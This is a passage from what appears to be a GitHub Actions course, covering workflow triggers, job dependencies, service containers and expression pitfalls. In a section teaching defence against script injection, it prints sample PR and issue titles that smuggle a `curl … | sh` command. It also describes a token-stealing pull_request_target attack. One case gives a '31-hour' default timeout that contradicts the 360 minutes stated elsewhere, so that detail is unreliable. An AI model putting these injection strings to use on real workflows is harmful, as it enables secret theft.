schedulemay be delayed (the top of the hour is the busiest, so choose a non-round minute such as :17). - Only runs on the default branch. On public repositories, scheduled workflows are automatically disabled after 60 days with no repository activity.
When: which event to choose
| Need | Recommended |
|---|---|
| required PR check | pull_request (+ push: branches: [main] ensures the main branch is also recorded) |
| only run when application code changes | paths filter. But if that check is set as required, the PR waits forever when the check is filtered out (a pitfall covered in Module 8) |
| publish a release | push: tags: ['v*'] or release: types: [published] |
| after CI passes, run deployment or comments | workflow_run or within the same workflow needs |
| triggered by external systems (such as a CMS or other platforms) | repository_dispatch or an API call workflow_dispatch |
workflow_dispatch and repository_dispatch , events triggered by GITHUB_TOKEN do not create new runs (to prevent recursion), and runs for PRs it creates with opened / synchronize / reopened are in a state that requires approval. ② “In pull_request, branches: [main] refers to the PR's source branch”—no, it refers to the target branch. ③ “A cron set to 9 means 9 a.m. Beijing time”—no, the default is UTC.Flowchart: how events are filtered
Comparison diagram: two ways to trigger fork PRs
Interactive simulator: which workflows does this event trigger?
Set the event, branch/tag and changed files, then click “Evaluate”. The simulator evaluates the 4 workflows in the myapp repository one by one according to GitHub's rules, and explains the result of each filter.
ci.yml: push: branches [main]
pull_request: branches [main]
paths-ignore: ['**.md','docs/**']
release.yml: push: tags ['v*']
nightly.yml: schedule: cron '17 6 * * *'
timezone: America/Toronto
docs.yml: push: branches [main]
paths: ['docs/**','**.md']Common trigger configuration snippets
on:
push:
branches: [main, 'releases/**']
tags: ['v*']
paths-ignore: ['**.md', 'docs/**']
pull_request:
types: [opened, synchronize, reopened, ready_for_review]
branches: [main]
workflow_dispatch:
inputs:
log_level:
description: "log level"
type: choice
options: [info, debug]
default: info
dry_run:
type: boolean
default: true
schedule:
- cron: '17 6 * * 1-5'
timezone: "America/Toronto"
release:
types: [published]
workflow_run:
workflows: [CI]
types: [completed]
branches: [main]
repository_dispatch:
types: [cms-updated]
Note: when writing both push.branches and push.tags when pushing a branch or a tag,either matching triggers the run; but paths-ignore does not apply to tag pushes. workflow_run.workflows Write the watched workflow's name.
Trigger and debug commands
| Command | Purpose |
|---|---|
gh workflow run ci.yml --ref feature/x -f log_level=debug -f dry_run=false | trigger workflow_dispatch (with inputs) |
gh workflow enable|disable nightly.yml | enable / disable (use enable to restore a scheduled task after it has been automatically disabled) |
gh api repos/{owner}/{repo}/dispatches -f event_type=cms-updated -F 'client_payload[page]=home' | send repository_dispatch |
gh run list --event schedule --limit 5 | check when scheduled runs actually start (observe delay) |
gh workflow run ci.yml --ref main
gh api repos/{owner}/{repo}/dispatches -f event_type=cms-updated -F 'client_payload[page]=home'
gh run list --limit 3 --json event,displayTitle,createdAt -q '.[] | [.event,.displayTitle,.createdAt] | @tsv'
✓ Created workflow_dispatch event for ci.yml at main repository_dispatch cms-updated 2026-11-15T14:03:11Z workflow_dispatch CI · workflow_dispatch · main 2026-11-15T14:02:55Z push ci: explore runner 2026-11-15T13:40:02Z
Verify:gh api …/dispatches On success it returns HTTP 204 with no output. Common errors: repository_dispatch requires a token with write permission to the repository (a PAT or a GitHub App); it will not trigger if the workflow file is not on the default branch.
Validate YAML and workflow syntax locally
# actionlint: a community-maintained static checker for workflows (syntax, expressions, shellcheck) docker run --rm -v "$PWD:/repo" -w /repo rhysd/actionlint:latest -color
actionlint can catch unknown event names, incorrect ${{ }} expressions, misspelled context properties and more. In production, pin the tool's image version.
Lab 2: paths filter, manual trigger and scheduled task (about 6 minutes)
.github/workflows/ci.yml 's on block:
on:
push:
branches: [main]
paths-ignore: ['**.md', 'docs/**']
pull_request:
branches: [main]
paths-ignore: ['**.md', 'docs/**']
workflow_dispatch:
git commit -am "ci: ignore docs-only changes" && git push echo "# myapp" >> README.md && git commit -am "docs: readme" && git push sleep 10; gh run list --workflow ci.yml --limit 2
STATUS TITLE WORKFLOW BRANCH EVENT … ✓ ci: ignore docs-only changes CI main push … ✓ ci: explore runner CI main push …
The push with “docs: readme” does not appear in the list. It was filtered out by paths-ignore, and no “skipped” record is left behind.
name: CI add a line run-name: "CI · ${{ github.event_name }} · ${{ github.ref_name }}", then push and run:
gh workflow run ci.yml --ref main sleep 5; gh run list --workflow ci.yml --limit 1
STATUS TITLE WORKFLOW BRANCH EVENT … * CI · workflow_dispatch · main CI main workflow_dispatch …
name: Nightly
on:
schedule:
- cron: '17 6 * * *'
timezone: "America/Toronto"
workflow_dispatch:
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- run: docker build --pull -t myapp:nightly .
- run: echo "event=${{ github.event_name }} schedule=${{ github.event.schedule }}"
git add .github/workflows/nightly.yml && git commit -m "ci: nightly build" && git push gh workflow run nightly.yml # no need to wait until tomorrow; verify once manually first gh workflow view nightly.yml
github.event.schedule When triggered by schedule, it equals the corresponding cron string (if a workflow has several cron entries, use this to tell them apart). It is empty when triggered manually.
git switch -c feat/hello echo 'def hello(): return "hi"' >> app.py git commit -am "feat: hello" && git push -u origin feat/hello gh pr create --fill gh pr checks --watch
In the checkout log after “Set up job” for this PR run, you will see the checked-out ref is refs/pull/N/merge: CI tests “the code you would get if merged now”. Keep this PR open; Module 3 will keep using it.
Case 1: pull_request_target leaks a token
Problem: so that fork PRs could also upload coverage reports (which need secrets), an open-source project changed CI to pull_request_target and checked out github.event.pull_request.head.sha and ran npm install. An attacker submitted a PR that modified preinstall scripts, read and exfiltrated the write-permission token and an npm publish token. Fix: CI went back to pull_request (no secrets). Coverage reports are uploaded as artifacts, which workflow_run downloads, parsing them only as data before uploading. Revoke and rotate all secrets. Limitation: Even in workflow_run, code from the PR must not be executed.
Case 2: paths filter conflicts with required checks in a monorepo
Problem: The frontend workflow added paths: ['web/**'], and it was set as a required check in the ruleset. A PR that only changes the backend keeps showing “Expected — Waiting for status to be reported” and cannot be merged. Fix: remove the paths filter so the workflow always runs; inside the job, use change detection (such as dorny/paths-filter v4) to decide whether to run the heavy steps; or add an always-running summary job as the required check. Limitation: always triggering uses a few more minutes.
Case 3: the nightly job sometimes does not run
Problem: a team set the nightly scans of 10 repositories to 0 0 * * *, which often delays them by 20–40 minutes, and occasionally a whole run goes missing. Fix: shift to a non-round minute (such as 23 2 * * *), use timezone, and add monitoring: alert if there is no successful schedule run within 26 hours. Limitation: GitHub explicitly states that schedule may be delayed under high load, so it is not suitable for business that needs precise timing.
Common errors and fixes
Nothing appears on the Actions page after a push
Cause: wrong file path; invalid YAML; the event, branch or paths filter does not match; the push came from GITHUB_TOKEN; the commit message contains [skip ci]; Actions is disabled.
gh workflow list --all git log -1 --format=%B | grep -i "skip ci" git show --stat HEAD
Fix: work through the troubleshooting tree in Module 8, item by item.
Invalid workflow file: .github/workflows/ci.yml#L5 — you may only define one of `branches` and `branches-ignore` for a single event
Fix: change to branches: ['**', '!wip/**'] this “include + negate” style.
Could not create workflow dispatch event: HTTP 422: Workflow does not have 'workflow_dispatch' trigger
Cause: the workflow file on the selected ref has no workflow_dispatch, or the workflow file has not yet been merged into the default branch (the Actions page does not show a “Run workflow” button).
Fix: merge the file containing workflow_dispatch into the default branch first, then run it on other branches.
A scheduled workflow stops running, and the page shows “This scheduled workflow is disabled because there hasn't been activity in this repository for at least 60 days.”
Fix:gh workflow enable nightly.yml; or keep the repository active. This only happens on public repositories.
A workflow_run workflow never triggers
Cause:workflows: it uses the file name instead of the watched workflow's name (or the spelling or case does not match); this workflow is not on the default branch; or the chain exceeds 3 levels.
1. On the feature/x branch, manually trigger ci.yml and pass in inputs log_level=debug.
gh workflow run ci.yml --ref feature/x -f log_level=debug
2. Write a trigger configuration that fires only when a tag starting with v or when changes are made on main to Dockerfile that fires the on configuration.
on:
push:
tags: ['v*']
branches: [main]
paths: ['Dockerfile']
# Note: paths does not apply to tag pushes, so tag pushes always trigger; branch pushes need both main and Dockerfile.An external contributor's PR needs to show test coverage in comments, and the coverage service needs a token. A colleague proposes changing CI to pull_request_target. How would you review this?
Reject. pull_request_target has a write-permission token and secrets. If it checks out and runs PR code (installing dependencies and running tests is itself executing code), an attacker can steal the token. Plan: keep CI on pull_request, upload the coverage results and the PR number as artifacts, and create a new workflow_run (types: completed) workflow, which downloads the artifacts, treats their contents as untrusted data (validates the format and never executes it), and then posts comments with the token. Also set minimal permissions for this workflow (pull-requests: write).
Verified instructional videos
Official documentation
- Events that trigger workflows
- Workflow syntax for GitHub Actions
- GitHub Security Lab: Preventing pwn requests
Video storyboard (about 90 seconds)
This lesson cannot directly generate video or MP3 files. A storyboard and narration script are provided, which you can give to a video tool.
Visual: several event icons (push, PR, clock, button, release) fly into a funnel.
Narration: the on field is the entrance of the funnel. Only the listed events, matching branches and matching paths can create a run.
Visual: three filters light up in turn, and a README change is ejected at the paths filter.
Narration: multiple filters are combined with AND. A commit that only changes docs is filtered out by paths-ignore, and no record appears on the Actions page.
Visual: split screen. pull_request has no keys, while pull_request_target holds the keys but is holding a package of unknown origin. A red alarm.
Narration: pull_request_target has write permissions and secrets, so never execute PR code inside it.
Visual: the UTC clock and the Toronto clock side by side, and a timezone field appears next to the cron string.
Narration: scheduled tasks run in UTC by default, and you can specify a timezone. They may be delayed at peak times, so do not pick the top of the hour.
Module 3 · jobs, steps, runners and dependencies
- Use
needsto build a job dependency graph and understand that when an upstream job fails, downstream jobs are by default skipped; use joboutputs+$GITHUB_OUTPUToutputs to pass strings across jobs. - Distinguish
runs-on,container(the whole job runs in a container) andservices(attached service containers), and know how the hostname and port differ for connecting to services in each case. - Set reasonably
defaults,working-directory,timeout-minutes,continue-on-error, and understand the outcome and conclusion of steps.
What: overview of job-level keywords
| Keyword | Purpose | Key points |
|---|---|---|
needs | declares job dependencies | runs only when all upstream jobs succeed; if any upstream job fails or is skipped, downstream jobs are skipped by default (unless if rewritten with status functions) |
outputs | promotes step outputs to job outputs | downstream jobs read them via needs.<job>.outputs.<name> ; each job output is at most 1 MB and 50 MB in total per run; outputs containing secrets are discarded |
runs-on | selects the runner | a string (ubuntu-24.04), an array (requires the runner to have all labels when self-hosted), or {group, labels} |
container | makes all of the job's run steps run in the specified container | requires a Linux runner; can be paired with credentials,env,volumes,options |
services | starts side-car service containers for the job (databases, caches) | automatically destroyed when the job ends; use options: --health-cmd to make the runner wait for services to be healthy before running steps |
defaults.run | default shell and working-directory | can be set at workflow or job level; cannot use expressions |
timeout-minutes | automatically cancelled on timeout | job default 360 minutes; steps can also set it; hosted runners cap each job at 6 hours |
continue-on-error | failure does not affect the overall conclusion | step level: later steps still run and the job can still succeed; job level: failure of this job does not fail the run (often used for experimental matrix combinations) |
environment | links to a deployment environment (approvals, environment secrets) | covered in Lesson 3 |
Why: why split jobs
- parallelism: lint, unit tests and image builds run in parallel when they do not depend on each other, shortening total time.
- different environments: different OSes, architectures, container images and permissions (for example, only the deploy job needs write permission).
- gating: the deploy job
needs: [test, build], ensuring deployment happens only after validation passes. - Cost: every job has startup overhead (allocating a runner, checkout, installing dependencies), so splitting too finely is actually slower and uses more minutes.
How: service container networking (the most error-prone part)
| job execution mode | network the service container is on | how to connect to Redis in steps | needs ports ? |
|---|---|---|---|
directly on the runner (no container:) | Docker default bridge network; ports are mapped to the runner host | localhost:6379 (or the mapped port) | needs: ports: ['6379:6379'] |
inside the job container (with container:) | a user-defined bridge network created by the runner; the job container and service containers are on the same network | redis:6379 (the service's label name is the hostname) | not needed |
only the container port is written (such as ports: ['6379']) makes Docker assign a random host port, which can be read with ${{ job.services.redis.ports['6379'] }} . Service containers and Docker container actions can only be used on Linux runners.
step outcome and conclusion
steps.<id>.outcome is the actual result of a step; steps.<id>.conclusion is the result after applying continue-on-error . A step with continue-on-error: true that fails: outcome = failure, conclusion = success.
When: choose container or run directly on the runner
| Scenario | Recommended |
|---|---|
| need system libraries consistent with production (such as a pinned Debian version plus system packages) | container: python:3.13-slim |
| need tools preinstalled on the runner (Docker CLI for building images, cloud CLIs) | directly on the runner (containers do not have these tools by default) |
| integration tests need a database or cache | services (both approaches support this) |
| multiple services with complex orchestration | can also be started in a step docker compose up -d (Docker is preinstalled on the runner) |
${{ matrix.dir }}”—no, defaults does not support expressions; write it at step level as working-directory.Dependency graph: myapp's CI and passing outputs
Network diagram: two ways to connect to a service container
Interactive simulator: how the needs dependency graph executes
Choose which job fails and what notify uses if, then click “Run”. Observe how skipping propagates to downstream jobs and how status functions change that.
outputs: passing values between steps and jobs
jobs:
meta:
runs-on: ubuntu-24.04
outputs:
version: ${{ steps.v.outputs.version }}
steps:
- uses: actions/checkout@v7
- id: v
run: echo "version=1.4.0-${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
build-image:
needs: [meta]
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- run: docker build -t myapp:${{ needs.meta.outputs.version }} .
Environment files: $GITHUB_OUTPUT (step outputs),$GITHUB_ENV (environment variables for later steps),$GITHUB_PATH (append to PATH),$GITHUB_STEP_SUMMARY (run summary in Markdown). The old ::set-output command is deprecated; do not use it. For multi-line values, use the delimiter syntax:
{
echo "notes<<EOF"
git log -3 --oneline
echo "EOF"
} >> "$GITHUB_OUTPUT"
echo "### Build complete :rocket:" >> "$GITHUB_STEP_SUMMARY"
services + container syntax
jobs:
test-on-runner: # option A: on the runner
runs-on: ubuntu-24.04
services:
redis:
image: redis:8
ports: ['6379:6379']
options: >-
--health-cmd "redis-cli ping"
--health-interval 5s --health-timeout 3s --health-retries 10
env:
REDIS_HOST: localhost
steps: [ ... ]
test-in-container: # option B: job in a container
runs-on: ubuntu-24.04
container: python:3.13-slim
services:
redis:
image: redis:8
options: --health-cmd "redis-cli ping" --health-interval 5s --health-retries 10
env:
REDIS_HOST: redis
steps: [ ... ]
defaults, timeout and continue-on-error
defaults:
run:
shell: bash
working-directory: ./ # expressions not allowed
jobs:
test:
runs-on: ubuntu-24.04
timeout-minutes: 15 # default is 360; always tighten it
steps:
- name: optional security scan (failure does not block)
id: audit
continue-on-error: true
run: pip install pip-audit && pip-audit -r requirements.txt
- run: echo "audit outcome=${{ steps.audit.outcome }} conclusion=${{ steps.audit.conclusion }}"
- name: time-limit long commands separately
timeout-minutes: 5
run: pytest -q
Verify: the log shell: /usr/bin/bash -e {0} shows the actual shell and arguments used. When shell: bash is written explicitly, the runner uses bash --noprofile --norc -eo pipefail {0}, so any failing command in a pipeline fails the step; when omitted, the default is bash -e {0} (no pipefail).
Lab 3: run myapp integration tests with a Redis service container (about 6 minutes)
feat/hello branch):
jobs:
lint:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "3.13" }
- run: pip install ruff && ruff check .
test:
needs: lint
runs-on: ubuntu-24.04
timeout-minutes: 15
services:
redis:
image: redis:8
ports: ['6379:6379']
options: >-
--health-cmd "redis-cli ping"
--health-interval 5s --health-timeout 3s --health-retries 10
env:
REDIS_HOST: localhost
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "3.13" }
- run: pip install -r requirements-dev.txt
- run: pytest -v
build-image:
needs: test
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- uses: actions/checkout@v7
- run: docker build -t myapp:${{ github.sha }} .
git switch feat/hello git commit -am "ci: redis service container for integration tests" && git push gh pr checks --watch
✓ CI/lint (pull_request) 9s ✓ CI/test (pull_request) 27s ✓ CI/build-image (pull_request) 35s
RUN_ID=$(gh run list --branch feat/hello --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId') gh run view "$RUN_ID" --log | grep -E "Starting redis|healthy|test_redis|passed"
test Initialize containers Starting redis service container test Initialize containers redis service is healthy. test Run pytest -v tests/test_redis.py::test_hits_increase PASSED [100%] test Run pytest -v ========== 2 passed in 0.35s ==========
“Initialize containers” phase: the runner creates the network, pulls redis:8, starts the container and waits for its health check to pass, and only then starts the steps.
app.py (import sys), then push.
echo "import sys" >> app.py && git commit -am "test: break lint" && git push gh pr checks --watch
X CI/lint (pull_request) 8s - CI/test (pull_request) 0 - CI/build-image (pull_request) 0
ruff reports F401 `sys` imported but unused; test and build-image are skipped (“-”). Fix: sed -i '$d' app.py && git commit -am "fix lint" && git push.
container: python:3.13-slim to the test job, change REDIS_HOST to redis, remove ports, and remove setup-python (Python is already in the container). Compare the duration of both approaches.Case 1: integration tests occasionally show “Connection refused”
Problem: The Postgres service container has no health check, so about 5% of runs start migrations before database initialization completes. Tests fail, and re-running fixes it. Fix: add --health-cmd pg_isready and retry parameters; the runner waits until the service is healthy before running steps. Limitation: Health checks only confirm the process is ready; application-level initialization (such as loading seed data) still needs waiting in a step.
Case 2: one hung test burns 6 hours of minutes
Problem: In a private repository, a test waiting on an external service deadlocked, so the job ran until the default 31-hour timeout cancelled it. That day 20 PRs triggered runs, and the monthly minute budget was used up in one day. Fix: explicitly set timeout-minutes (2–3× the P95 duration) on all jobs, and add pytest-timeout to pytest; configure Actions budget alerts. Limitation: Timeouts that are too tight will wrongly kill slow but normal runs, so adjust them periodically based on actual durations.
Case 3: the deploy job also runs when tests fail
Problem: the deploy job was written with if: always() && github.ref == 'refs/heads/main', intended as “main is always deployed”, but it deployed even when tests failed. Fix: change to if: success() && github.ref == 'refs/heads/main' (or omit the status function); separate notification jobs from deployment jobs. Limitation: See the common if pitfalls in Module 4.
Common errors and fixes
redis.exceptions.ConnectionError: Error 111 connecting to redis:6379. Connection refused / Name or service not known
Cause: the job runs directly on the runner, but uses the service name redis as the hostname (only job containers can resolve it); or ports were not mapped; or the service is not ready yet.
Fix: for the runner approach, use localhost + ports; for the container approach, use the service name; add a health check.
Error: The job was not started because the job dependency 'lint' failed / Job was skipped
Cause: an upstream job in needs failed or was skipped.
Fix: fix the upstream; if the downstream job must run regardless (cleanup, notifications), use if: always() or if: ${{ !cancelled() }}.
Error: The operation was canceled. / The job running on runner … has exceeded the maximum execution time of 15 minutes.
Cause: reached timeout-minutes.
Fix: check the last output step to locate the bottleneck; add timeouts and retries to network operations; if needed, raise the timeout of that step rather than of the whole job.
Container operations are only supported on Linux runners
Cause: used container or services on a Windows or macOS runner.
Fix: move jobs that need service containers to a Linux runner; on Windows, install the service directly or use a managed database.
needs.meta.outputs.version is an empty string
Cause: the job-level outputs does not map the step output; the step has no id; the value was written in the wrong format (for example, written as version: 1.0); the output contains a secret and was discarded (the log shows “Skip output 'version' since it may contain secret.”); or the downstream job does not list meta in needs .
1. Write a step that writes the current commit's short SHA into an output named short and displays it in the run summary.
- id: sha
run: |
echo "short=${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
echo "Short SHA: \`${GITHUB_SHA::7}\`" >> "$GITHUB_STEP_SUMMARY"2. View the “Initialize containers” log of the test job in a given run.
gh run view RUN_ID --log | grep "^test" | grep -A15 "Initialize containers"
The team wants to split lint, unit tests, integration tests, image builds and security scans into 5 jobs to “increase parallelism”, but total duration went from 3 minutes to 5 minutes. Why? How should it be designed?
Each job must allocate a runner, check out code, and install Python and dependencies (30–60 seconds each), and the needs chain prevents them from really running in parallel. Recommendation: combine lint and unit tests in one job (fail fast); run integration tests (which need service containers) in parallel with image builds; set the security scan to continue-on-error or run it as a separate workflow. Also add dependency caching (Module 6). Measure end-to-end duration and minutes consumed, not the number of jobs.
Verified instructional videos
No verified dedicated video was found for service containers (services); refer to the official documentation and storyboard below.
Official documentation
- Creating Redis service containers
- Passing information between jobs
- Workflow commands (GITHUB_OUTPUT / GITHUB_ENV)
Video storyboard (about 90 seconds)
This lesson cannot directly generate video or MP3 files. A storyboard and narration script are provided for a video tool.
Visual: four job cards connected by arrows; after lint turns red, the cards downstream of it turn gray.
Narration: needs not only sets the order, it also decides whether jobs run. If an upstream job fails, downstream jobs are skipped by default.
Visual: the meta job drops a small note with a version number into the GITHUB_OUTPUT mailbox, and the build job takes it out.
Narration: pass strings between jobs with outputs; pass files with artifacts.
Visual: a Redis container pops up beside the runner; pytest starts only after the heartbeat icon turns from red to green.
Narration: service containers start with the job and are destroyed with it. With a health check, the runner waits until they are ready.
Visual: two network sketches side by side: localhost plus a port, and direct connection by service name.
Narration: on the runner, use localhost and port mapping; in a container, use the service name directly.
Module 4 · expressions, contexts and conditions
${{ }} Evaluated before the runner executes; read contexts, write if correctly, and avoid the “always true” pitfall- State the contents and available locations of contexts such as github / env / vars / secrets / job / steps / runner / matrix / needs / inputs.
- Use proficiently
contains,startsWith,format,join,fromJSON,toJSON,hashFilesandsuccess()/failure()/always()/cancelled(). - Recognize common pitfalls in if conditions, and avoid inserting untrusted input directly into
run:, which causes script injection.
What: expressions and contexts
Expressions are written inside ${{ ... }} , and are evaluated by GitHub (or the runner, before execution), with the result substituted into the YAML as a string. It supports literals (true,null, numbers, single-quoted strings), operators (( ) [ ] . ! < <= > >= == != && ||), context properties and built-in functions.
| Context | Contents | Typical use |
|---|---|---|
github | Events and run information: event_name,ref,ref_name,sha,actor,repository,run_id,run_attempt,event (full payload) | github.ref == 'refs/heads/main' |
env | variables defined in workflow / job / step env | env.IMAGE |
vars | repository / environment / organization-level configuration variables (non-secret) | vars.PYTHON_DEFAULT |
secrets | secrets and GITHUB_TOKEN | secrets.GITHUB_TOKEN |
job | of the current job status,container,services | job.services.redis.ports['6379'] |
steps | steps in the current job that have id : outputs,outcome,conclusion | steps.v.outputs.version |
runner | os (Linux / Windows / macOS),arch,temp,tool_cache,debug | runner.os == 'Windows' |
strategy / matrix | the current matrix combination and settings such as fail-fast | matrix.python |
needs | dependency jobs' result and outputs | needs.test.result == 'failure' |
inputs | inputs of workflow_dispatch / workflow_call (types preserved) | inputs.dry_run (boolean) |
Context availability is limited. For example jobs.<id>.if can only be used in github,needs,vars,inputs (not usable in env,secrets,steps); runs-on can use matrix; see the Context availability table in the official “Contexts reference” for the full list.
Common functions
| Function | Example | Description |
|---|---|---|
contains(search, item) | contains(github.event.pull_request.labels.*.name, 'skip-e2e') | string contains (case-insensitive) or array contains; .* is an object filter that extracts a property from each element of an array |
startsWith / endsWith | startsWith(github.ref, 'refs/tags/v') | case-insensitive |
format | format('myapp:{0}-{1}', github.ref_name, github.run_number) | format placeholder substitution |
join | join(matrix.python, ', ') | join array elements |
toJSON | toJSON(github.event) | print the full context when debugging |
fromJSON | fromJSON(needs.plan.outputs.matrix),fromJSON(vars.MAX_JOBS) | converts a JSON string into an object / array / number / boolean (key to dynamic matrices) |
hashFiles(pattern…) | hashFiles('**/requirements*.txt') | computes a combined SHA-256 hash of matching files; returns an empty string if nothing matches; commonly used for cache keys |
success() | Implicitly default: | all previous steps (or needs) succeeded |
failure() | if: failure() | any previous step (or any ancestor job) failed |
always() | if: always() | always runs,even if the run is cancelled |
cancelled() | if: ${{ !cancelled() }} | the run is cancelled; !cancelled() is the recommended form for “run in all cases except cancellation” |
Why: six classic pitfalls of if conditions
- extra text outside the expression → always true:
if: ${{ github.ref == 'refs/heads/main' }} && trueare first replaced with strings"false && true", and a non-empty string is true. Either write the whole thing inside one${{ }}or do not write it at all${{ }}(ifis automatically evaluated as an expression). - starting with
!must be quoted or wrapped in${{ }}: for exampleif: !cancelled()the!is YAML tag syntax and causes a parse error; write it asif: ${{ !cancelled() }}. - once a status function is written, success() is no longer implicit: a condition such as
if: always() && github.ref == 'refs/heads/main'still runs when tests fail (see Module 3 Case 3). - strings and booleans:
inputs.dry_runis a boolean,github.event.inputs.dry_runis a string'true';if: github.event.inputs.dry_runthe string'false'is also true (non-empty string). Useinputs.dry_runor compare with== 'true'. - secrets cannot be used directly in if: map them to env first:
env: { HAS_TOKEN: "${{ secrets.TOKEN != '' }}" }, thenif: env.HAS_TOKEN == 'true'(at step level). - skipped dependencies: when a downstream job writes
if: needs.a.result == 'success' || needs.b.result == 'success', without a status function the implicit success() still requires all needs to succeed. Add!cancelled() && (…).
How: comparison rules
==is a loose comparison: values of different types are first converted to numbers; string comparisons are case-insensitive.- Falsy values:
false,0,-0,"",null,NaN; everything else is true (including the string'false'). a && b || cA ternary can be simulated:${{ github.ref == 'refs/heads/main' && 'prod' || 'dev' }}(note that if b is falsy, it falls back to c).
When: using untrusted input safely (script injection)
github.event.pull_request.title,head_ref, issue bodies and comments are controlled by external users. When written directly into run: , the expression is first replaced with text and then handed to the shell, so a title like "; curl evil.sh | sh # will be executed. The correct approach is to first put it into an environment variable, so that the shell treats it as data:
# ✗ dangerous
- run: echo "PR title: ${{ github.event.pull_request.title }}"
# ✓ safe
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $TITLE"
${{ }} is a shell variable”—no, it is replaced with text before the shell starts. ② “if: always() is suitable for cleanup steps”—it also runs on cancellation, and long cleanup can delay the cancellation; in most cases !cancelled() is more appropriate. ③ “contains is case-sensitive”—it is not. ④ “Secrets are masked in expressions, so they can be used freely”—masking only applies to log output and cannot prevent exfiltration through script injection.Sequence diagram: when expressions are evaluated
Decision diagram: which status function to use for cleanup and notification steps
!cancelled(); failure notification: failure(); resource cleanup that must run: always()Interactive evaluator: will this if run?
Set the run context, then choose an if form. The evaluator shows the two-stage evaluation (expression substitution → truthiness check) and points out where the pitfall is.
Debug context: print it out
- name: Dump contexts
env:
GITHUB_CONTEXT: ${{ toJSON(github) }}
MATRIX_CONTEXT: ${{ toJSON(matrix) }}
RUNNER_CONTEXT: ${{ toJSON(runner) }}
run: |
echo "$GITHUB_CONTEXT" | jq '{event_name, ref, ref_name, sha, actor, run_id, run_attempt}'
echo "$RUNNER_CONTEXT"
{
"event_name": "pull_request",
"ref": "refs/pull/7/merge",
"ref_name": "7/merge",
"sha": "9c1e…",
"actor": "your-name",
"run_id": "18234570001",
"run_attempt": "1"
}
{ "os": "Linux", "arch": "X64", "name": "GitHub Actions 1000123480", "temp": "/home/runner/work/_temp", … }
Put the context into env and print it, instead of printing it directly echo '${{ toJSON(github) }}'. The latter breaks the script on single quotes and is also an injection risk. toJSON(github) The token in
Common expression patterns
# only run on push to main
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
# tag releases
if: startsWith(github.ref, 'refs/tags/v')
# skip when the PR has the skip-e2e label
if: ${{ !contains(github.event.pull_request.labels.*.name, 'skip-e2e') }}
# upload reports in all cases except cancellation
if: ${{ !cancelled() }}
# run if any dependency succeeded (requires needs: [a, b])
if: ${{ !cancelled() && (needs.a.result == 'success' || needs.b.result == 'success') }}
# ternary
env:
TARGET: ${{ github.ref == 'refs/heads/main' && 'prod' || 'dev' }}
# convert variable to number
timeout-minutes: ${{ fromJSON(vars.TEST_TIMEOUT || '15') }}
Related commands
| Command | Purpose |
|---|---|
gh variable set PYTHON_DEFAULT --body 3.13 | Set a repository variable (vars context) |
gh variable list | View variables |
gh run rerun RUN_ID --debug | re-run with debug logging enabled (shows expression evaluation details; runner.debug is 1) |
Lab 4: conditional runs, failure notification and safe use of PR titles (about 6 minutes)
name: Expressions lab
on:
pull_request:
workflow_dispatch:
inputs:
dry_run: { type: boolean, default: true }
permissions:
contents: read
jobs:
demo:
runs-on: ubuntu-24.04
env:
TARGET: ${{ github.ref == 'refs/heads/main' && 'prod' || 'dev' }}
steps:
- name: context
env:
TITLE: ${{ github.event.pull_request.title }}
run: |
echo "event=${{ github.event_name }} ref=${{ github.ref }} target=$TARGET"
echo "PR title (safe way): $TITLE"
- name: run only when triggered manually and not a dry run
if: github.event_name == 'workflow_dispatch' && !inputs.dry_run
run: echo "actually executing"
- name: string trap demo
if: github.event.inputs.dry_run
run: echo "github.event.inputs.dry_run='${{ github.event.inputs.dry_run }}' is a string; non-empty is true"
- name: deliberate failure
id: flaky
continue-on-error: true
run: exit 1
- run: echo "outcome=${{ steps.flaky.outcome }} conclusion=${{ steps.flaky.conclusion }}"
- name: real failure
run: test "$TARGET" = "never"
- name: run only on failure
if: failure()
run: echo "::error title=CI failed::see the previous step's log"
- name: run in all cases except cancellation
if: ${{ !cancelled() }}
run: echo "job.status=${{ job.status }}"
git add .github/workflows/expressions.yml && git commit -m "ci: expressions lab" && git push gh pr checks --watch gh run view "$(gh run list --workflow expressions.yml --limit 1 --json databaseId -q '.[0].databaseId')" --log | grep -E "event=|title|outcome=|CI failed|job.status"
demo context event=pull_request ref=refs/pull/7/merge target=dev demo context PR title (safe way): feat: hello demo … outcome=failure conclusion=success demo run only on failure ##[error]see the previous step's log demo run in all cases except cancellation job.status=failure
Note: the steps “only run when triggered manually…” and “string trap demo” are skipped in a PR event. ::error will generate an annotation in the run summary.
gh workflow run expressions.yml --ref main -f dry_run=false sleep 20; gh run view "$(gh run list --workflow expressions.yml --limit 1 --json databaseId -q '.[0].databaseId')" --log | grep -E "actually executing|non-empty is true"
demo only run when triggered manually and not a dry run actually executing demo string trap demo github.event.inputs.dry_run='false' is a string; non-empty is true
When dry_run=false, the “string trap demo” step still ran—'false' is a non-empty string.
if: ${{ github.event_name == 'schedule' }} && false, push, and observe: that step still runs. Change it back before continuing.Case 1: PR title script injection
Problem: an automatic labeling workflow put run: in a step that contains echo "${{ github.event.issue.title }}" | grep -q bug. A researcher submitted an issue titled a"; curl -sSfL https://… | bash; echo " , and the workflow ran a remote script and read the token. Fix: all untrusted input is passed via env; token permissions are tightened to issues: write; use actionlint / CodeQL (Lesson 6) to detect this pattern. Limitation: the env approach only prevents shell injection; if downstream tools concatenate commands again, stay alert.
Case 2: always() makes a cancellation “impossible to cancel”
Problem: The cleanup step of the integration test job uses if: always() to call the cloud API and delete test resources, which occasionally takes 10 minutes. When concurrency cancels an old run, the old run still has to finish cleanup and keeps occupying the runner. Fix: change non-critical cleanup to !cancelled(); cloud resources that must be cleaned up get a TTL tag and are deleted by a scheduled task as a fallback. Limitation: always() steps still run after a cancellation and are bound by the job timeout.
Case 3: fromJSON makes configuration “switchable”
